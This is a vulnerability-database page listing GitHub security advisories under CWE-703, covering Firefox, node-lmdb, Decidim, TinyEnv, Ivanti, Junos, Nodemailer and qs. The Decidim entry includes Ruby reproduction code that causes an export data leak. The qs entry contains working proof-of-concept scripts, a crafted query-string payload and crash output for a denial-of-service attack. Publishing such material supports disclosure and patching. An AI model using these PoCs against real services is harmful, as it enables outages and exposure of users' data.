GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-703

Discouraged

Improper Check or Handling of Exceptional Conditions

Abstraction: Pillar · Status: Incomplete

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.

229 vulnerabilities reference this CWE, most recent first.

GHSA-2W9W-FGQ6-2VMC

Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-19 21:31
VLAI
Details

Sandbox escape due to incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability affects Firefox < 145.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13023"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-11T16:15:39Z",
    "severity": "CRITICAL"
  },
  "details": "Sandbox escape due to incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability affects Firefox \u003c 145.",
  "id": "GHSA-2w9w-fgq6-2vmc",
  "modified": "2025-11-19T21:31:18Z",
  "published": "2025-11-11T18:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13023"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1992032"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-87"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-90"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-32J9-6QQM-MQ9G

Vulnerability from github – Published: 2022-03-17 00:00 – Updated: 2022-03-30 20:16
VLAI
Summary
Unhandled case in node-lmdb
Details

The package node-lmdb before 0.9.7 is vulnerable to Denial of Service (DoS) when defining a non-invokable ToString value, which will cause a crash during type check.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-lmdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-21164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-241",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-19T00:10:41Z",
    "nvd_published_at": "2022-03-16T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "The package node-lmdb before 0.9.7 is vulnerable to Denial of Service (DoS) when defining a non-invokable `ToString` value, which will cause a crash during type check.",
  "id": "GHSA-32j9-6qqm-mq9g",
  "modified": "2022-03-30T20:16:16Z",
  "published": "2022-03-17T00:00:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21164"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Venemo/node-lmdb/commit/97760104c0fd311206b88aecd91fa1f59fe2b85a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Venemo/node-lmdb"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-NODELMDB-2400723"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unhandled case in node-lmdb"
}

GHSA-3CX6-J9J4-54MP

Vulnerability from github – Published: 2026-02-03 17:21 – Updated: 2026-02-08 01:01
VLAI
Summary
Decidim's private data exports can lead to data leaks
Details

Impact

Private data exports can lead to data leaks in cases where the UUID generation causes collisions for the generated UUIDs.

The bug was introduced by #13571 and affects Decidim versions 0.30.0 or newer (currently 2025-09-23).

This issue was discovered by running the following spec several times in a row, as it can randomly fail due to this bug:

$ cd decidim-core
$ for i in {1..10}; do bundle exec rspec spec/jobs/decidim/download_your_data_export_job_spec.rb -e "deletes the" || break ; done

Run the spec as many times as needed to hit a UUID that converts to 0 through .to_i.

The UUID to zero conversion does not cause a security issue but the security issue is demonstrated with the following example.

The following code regenerates the issue by assigning a predefined UUID that will generate a collision (example assumes there are already two existing users in the system):

# Create the ZIP buffers to be stored
buffer1 = Zip::OutputStream.write_buffer do |out|
  out.put_next_entry("admin.txt")
  out.write "Hello, admin!"
end
buffer1.rewind
buffer2 = Zip::OutputStream.write_buffer do |out|
  out.put_next_entry("user.txt")
  out.write "Hello, user!"
end
buffer2.rewind

# Create the private exports with a predefined IDs
user1 = Decidim::User.find(1)
export = user1.private_exports.build
export.id = "0210ae70-482b-4671-b758-35e13e0097a9"
export.export_type = "download_your_data"
export.file.attach(io: buffer1, filename: "foobar.zip", content_type: "application/zip")
export.expires_at = Decidim.download_your_data_expiry_time.from_now
export.metadata = {}
export.save!


user2 = Decidim::User.find(2)
export = user2.private_exports.build
export.id = "0210d2df-a0c7-40aa-ad97-2dae5083e3b8"
export.export_type = "download_your_data"
export.file.attach(io: buffer2, filename: "foobar.zip", content_type: "application/zip")
export.expires_at = Decidim.download_your_data_expiry_time.from_now
export.metadata = {}
export.save!

Expect to see an error in the situation.

Now, login as user with ID 1, go to /download_your_data, click "Download file" from the export and expect to see the data that should be attached to user with ID 2. This is an artificially replicated situation with the predefined UUIDs but it can easily happen in real situations.

The reason for the test case failure can be replicated in case you change the export ID to export.id = "e9540f96-9e3d-4abe-8c2a-6c338d85a684". This would return 0 through .to_s

After attaching that ID, you can test if the file is available for the export:

user.private_exports.last.file.attached?
=> false
user.private_exports.last.file.blob
=> nil

Note that this fails with such UUID as shown in the example and could easily lead to collisions in case the UUID starts with a number. E.g. UUID "0210ae70-482b-4671-b758-35e13e0097a9" would convert to 210 through .to_s. Therefore, if someone else has a "private" export with the prefixes "00000210", "0000210", "000210", "00210", "0210" or "210", that would cause a collision and the file could be attached to the wrong private export.

Theoretical chance of collision (the reality depends on the UUID generation algorithm):

  • Potential combinations of the UUID first part (8 characters hex): 16^8
  • Potentially colliding character combinations (8 numbers characters in the range of 0-9): 10^8
  • 10^8 / 16^8 ≈ 2.3% (23 / 1000 users)

The root cause is that the class Decidim::PrivateExport defines an ActiveStorage relation to file and the table active_storage_attachments stores the related record_id as bigint which causes the conversion to happen.

Workarounds

Fully disable the private exports feature until a patch is available.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "decidim-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.30.0"
            },
            {
              "fixed": "0.30.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "decidim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.30.0"
            },
            {
              "fixed": "0.30.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T17:21:17Z",
    "nvd_published_at": "2026-02-03T15:16:12Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nPrivate data exports can lead to data leaks in cases where the UUID generation causes collisions for the generated UUIDs.\n\nThe bug was introduced by #13571 and affects Decidim versions 0.30.0 or newer (currently 2025-09-23).\n\nThis issue  was discovered by running the following spec several times in a row, as it can randomly fail due to this bug:\n\n```bash\n$ cd decidim-core\n$ for i in {1..10}; do bundle exec rspec spec/jobs/decidim/download_your_data_export_job_spec.rb -e \"deletes the\" || break ; done\n```\n\nRun the spec as many times as needed to hit a UUID that converts to `0` through `.to_i`.\n\nThe UUID to zero conversion does not cause a security issue but the security issue is demonstrated with the following example.\n\nThe following code regenerates the issue by assigning a predefined UUID that will generate a collision (example assumes there are already two existing users in the system):\n\n```ruby\n# Create the ZIP buffers to be stored\nbuffer1 = Zip::OutputStream.write_buffer do |out|\n  out.put_next_entry(\"admin.txt\")\n  out.write \"Hello, admin!\"\nend\nbuffer1.rewind\nbuffer2 = Zip::OutputStream.write_buffer do |out|\n  out.put_next_entry(\"user.txt\")\n  out.write \"Hello, user!\"\nend\nbuffer2.rewind\n\n# Create the private exports with a predefined IDs\nuser1 = Decidim::User.find(1)\nexport = user1.private_exports.build\nexport.id = \"0210ae70-482b-4671-b758-35e13e0097a9\"\nexport.export_type = \"download_your_data\"\nexport.file.attach(io: buffer1, filename: \"foobar.zip\", content_type: \"application/zip\")\nexport.expires_at = Decidim.download_your_data_expiry_time.from_now\nexport.metadata = {}\nexport.save!\n\n\nuser2 = Decidim::User.find(2)\nexport = user2.private_exports.build\nexport.id = \"0210d2df-a0c7-40aa-ad97-2dae5083e3b8\"\nexport.export_type = \"download_your_data\"\nexport.file.attach(io: buffer2, filename: \"foobar.zip\", content_type: \"application/zip\")\nexport.expires_at = Decidim.download_your_data_expiry_time.from_now\nexport.metadata = {}\nexport.save!\n```\n\nExpect to see an error in the situation.\n\nNow, login as user with ID 1, go to `/download_your_data`, click \"Download file\" from the export and expect to see the data that should be attached to user with ID 2. This is an artificially replicated situation with the predefined UUIDs but it can easily happen in real situations.\n\nThe reason for the test case failure can be replicated in case you change the export ID to `export.id = \"e9540f96-9e3d-4abe-8c2a-6c338d85a684\"`. This would return `0` through `.to_s`\n\nAfter attaching that ID, you can test if the file is available for the export:\n\n```ruby\nuser.private_exports.last.file.attached?\n=\u003e false\nuser.private_exports.last.file.blob\n=\u003e nil\n```\n\nNote that this fails with such UUID as shown in the example and could easily lead to collisions in case the UUID starts with a number. E.g. UUID `\"0210ae70-482b-4671-b758-35e13e0097a9\"` would convert to `210` through `.to_s`. Therefore, if someone else has a \"private\" export with the prefixes \"00000210\", \"0000210\", \"000210\", \"00210\", \"0210\" or \"210\", that would cause a collision and the file could be attached to the wrong private export.\n\nTheoretical chance of collision (the reality depends on the UUID generation algorithm):\n\n- Potential combinations of the UUID first part (8 characters hex): 16^8\n- Potentially colliding character combinations (8 numbers characters in the range of 0-9): 10^8\n- 10^8 / 16^8 \u2248 2.3% (23 / 1000 users)\n\nThe root cause is that the class `Decidim::PrivateExport` defines an ActiveStorage relation to `file` and the table `active_storage_attachments` stores the related `record_id` as `bigint` which causes the conversion to happen.\n\n### Workarounds\nFully disable the private exports feature until a patch is available.",
  "id": "GHSA-3cx6-j9j4-54mp",
  "modified": "2026-02-08T01:01:36Z",
  "published": "2026-02-03T17:21:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decidim/decidim/security/advisories/GHSA-3cx6-j9j4-54mp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65017"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decidim/decidim/pull/13571"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decidim/decidim"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decidim/decidim/releases/tag/v0.30.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decidim/decidim/releases/tag/v0.31.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/decidim-core/CVE-2025-65017.yml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/decidim/CVE-2025-65017.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Decidim\u0027s private data exports can lead to data leaks"
}

GHSA-3J7M-5G4Q-GFPC

Vulnerability from github – Published: 2025-09-09 20:59 – Updated: 2025-09-10 21:08
VLAI
Summary
TinyEnv: Missing .env file not required — may cause unexpected behavior
Details

Impact

TinyEnv did not require the .env file to exist when loading environment variables.
This could lead to unexpected behavior where the application silently ignores missing configuration, potentially causing insecure defaults or deployment misconfigurations.

Affected versions:
- 1.0.1 → 1.0.2
- 1.0.9 → 1.0.10

Patches

The issue has been fixed in version 1.0.11.
All users should upgrade to 1.0.11 or later.

Workarounds

As a workaround, users can manually verify the existence of the .env file before initializing TinyEnv, for example:

```php if (!file_exists(DIR . '/.env')) { throw new RuntimeException('.env file is missing!'); }

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "datahihi1/tiny-env"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "datahihi1/tiny-env"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.9"
            },
            {
              "fixed": "1.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-09T20:59:52Z",
    "nvd_published_at": "2025-09-09T20:15:49Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nTinyEnv did not require the `.env` file to exist when loading environment variables.  \nThis could lead to **unexpected behavior** where the application silently ignores missing configuration, potentially causing insecure defaults or deployment misconfigurations.  \n\nAffected versions:  \n- **1.0.1 \u2192 1.0.2**  \n- **1.0.9 \u2192 1.0.10**\n\n### Patches\nThe issue has been fixed in **version 1.0.11**.  \nAll users should upgrade to `1.0.11` or later.\n\n### Workarounds\nAs a workaround, users can manually verify the existence of the `.env` file before initializing TinyEnv, for example:\n\n```php\nif (!file_exists(__DIR__ . \u0027/.env\u0027)) {\n    throw new RuntimeException(\u0027.env file is missing!\u0027);\n}",
  "id": "GHSA-3j7m-5g4q-gfpc",
  "modified": "2025-09-10T21:08:15Z",
  "published": "2025-09-09T20:59:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/datahihi1/tiny-env/security/advisories/GHSA-3j7m-5g4q-gfpc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58758"
    },
    {
      "type": "WEB",
      "url": "https://github.com/datahihi1/tiny-env/commit/69b7b885e6cfbf07f470fb3512360e0caa95521e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/datahihi1/tiny-env/commit/7dc656c58bef6050afb8f7a395e38227e31a66df"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/datahihi1/tiny-env"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TinyEnv: Missing .env file not required \u2014 may cause unexpected behavior"
}

GHSA-3MVJ-7P7P-X4X5

Vulnerability from github – Published: 2024-04-05 00:31 – Updated: 2024-04-05 00:31
VLAI
Details

A heap overflow vulnerability in IPSec component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure allows an unauthenticated malicious user to send specially crafted requests in-order-to crash the service thereby causing a DoS attack. In certain conditions this may lead to execution of arbitrary code

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-21894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-04T23:15:15Z",
    "severity": "HIGH"
  },
  "details": "A heap overflow vulnerability in IPSec component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure allows an unauthenticated malicious user to send specially crafted requests in-order-to crash the service thereby causing a DoS attack. In certain conditions this may lead to execution of arbitrary code ",
  "id": "GHSA-3mvj-7p7p-x4x5",
  "modified": "2024-04-05T00:31:28Z",
  "published": "2024-04-05T00:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21894"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/SA-CVE-2024-21894-Heap-Overflow-CVE-2024-22052-Null-Pointer-Dereference-CVE-2024-22053-Heap-Overflow-and-CVE-2024-22023-XML-entity-expansion-or-XXE-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3WRM-64R6-6Q6C

Vulnerability from github – Published: 2025-04-03 21:33 – Updated: 2025-04-07 21:32
VLAI
Details

An issue was discovered in Snowbridge setups sending data to Google Tag Manager Server Side. It involves attaching an invalid GTM SS preview header to events, causing them to be retried indefinitely. As a result, the performance of forwarding events to GTM SS overall can be affected (latency, throughput).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-47215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-03T21:15:38Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Snowbridge setups sending data to Google Tag Manager Server Side. It involves attaching an invalid GTM SS preview header to events, causing them to be retried indefinitely. As a result, the performance of forwarding events to GTM SS overall can be affected (latency, throughput).",
  "id": "GHSA-3wrm-64r6-6q6c",
  "modified": "2025-04-07T21:32:04Z",
  "published": "2025-04-03T21:33:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47215"
    },
    {
      "type": "WEB",
      "url": "https://support.snowplow.io/hc/en-us/articles/26318139354909-Update-Critical-Snowplow-Security-Updates-Impact-on-Open-Source-Software-Users"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4388-WH4Q-8VC6

Vulnerability from github – Published: 2024-07-11 00:32 – Updated: 2024-07-11 00:32
VLAI
Details

An Improper Check or Handling of Exceptional Conditions vulnerability in the Routing Protocol Daemon (rpd) of Juniper Networks Junos and Junos OS Evolved allows an unauthenticated, adjacent attacker to cause a Denial of Service (DoS).

An attacker can send specific traffic to the device, which causes the rpd to crash and restart. Continued receipt of this traffic will result in a sustained DoS condition.

This issue only affects devices with an EVPN-VPWS instance with IGMP-snooping enabled.

This issue affects Junos OS: * All versions before 20.4R3-S10,  * from 21.4 before 21.4R3-S6,  * from 22.1 before 22.1R3-S5,  * from 22.2 before 22.2R3-S3,  * from 22.3 before 22.3R3-S2,  * from 22.4 before 22.4R3,  * from 23.2 before 23.2R2;

Junos OS Evolved: * All versions before 20.4R3-S10-EVO,  * from 21.4-EVO before 21.4R3-S6-EVO,  * from 22.1-EVO before 22.1R3-S5-EVO,  * from 22.2-EVO before 22.2R3-S3-EVO,  * from 22.3-EVO before 22.3R3-S2-EVO,  * from 22.4-EVO before 22.4R3-EVO,  * from 23.2-EVO before 23.2R2-EVO.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-39514"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-10T23:15:10Z",
    "severity": "HIGH"
  },
  "details": "An Improper Check or Handling of Exceptional Conditions vulnerability in the Routing Protocol Daemon (rpd) of Juniper Networks Junos and Junos OS Evolved allows an unauthenticated, adjacent attacker to cause a Denial of Service (DoS).\n\nAn attacker can send specific traffic to the device, which causes the rpd to crash and restart. Continued receipt of this traffic will result in a sustained DoS condition.\n\nThis issue only affects devices with an EVPN-VPWS instance with IGMP-snooping enabled.\n\nThis issue affects Junos OS: \n  *  All versions before 20.4R3-S10,\u00a0\n  *  from 21.4 before 21.4R3-S6,\u00a0\n  *  from 22.1 before 22.1R3-S5,\u00a0\n  *  from 22.2 before 22.2R3-S3,\u00a0\n  *  from 22.3 before 22.3R3-S2,\u00a0\n  *  from 22.4 before 22.4R3,\u00a0\n  *  from 23.2 before 23.2R2;\n\n\nJunos OS Evolved: \n  *  All versions before 20.4R3-S10-EVO,\u00a0\n  *  from 21.4-EVO before 21.4R3-S6-EVO,\u00a0\n  *  from 22.1-EVO before 22.1R3-S5-EVO,\u00a0\n  *  from 22.2-EVO before 22.2R3-S3-EVO,\u00a0\n  *  from 22.3-EVO before 22.3R3-S2-EVO,\u00a0\n  *  from 22.4-EVO before 22.4R3-EVO,\u00a0\n  *  from 23.2-EVO before 23.2R2-EVO.",
  "id": "GHSA-4388-wh4q-8vc6",
  "modified": "2024-07-11T00:32:50Z",
  "published": "2024-07-11T00:32:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39514"
    },
    {
      "type": "WEB",
      "url": "https://supportportal.juniper.net/JSA82980"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-46J5-6FG5-4GV3

Vulnerability from github – Published: 2025-12-18 09:30 – Updated: 2026-02-03 17:37
VLAI
Summary
Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.

Original Description

A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-18T22:43:39Z",
    "nvd_published_at": "2025-12-18T09:15:44Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.\n\n## Original Description\nA flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.",
  "id": "GHSA-46j5-6fg5-4gv3",
  "modified": "2026-02-03T17:37:53Z",
  "published": "2025-12-18T09:30:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-14874"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion",
  "withdrawn": "2026-02-03T17:37:53Z"
}

GHSA-4MJR-XMP4-GH2G

Vulnerability from github – Published: 2026-09-02 14:45 – Updated: 2026-09-02 14:45
VLAI
Summary
qs: Denial of Service via Attacker Controlled isBuffer
Details

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parsestringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parsestringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');

Execution Steps

cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1

Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Recommended Fix

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.5"
            },
            {
              "fixed": "6.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-82417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:45:13Z",
    "nvd_published_at": "2026-08-30T00:16:34Z",
    "severity": "MODERATE"
  },
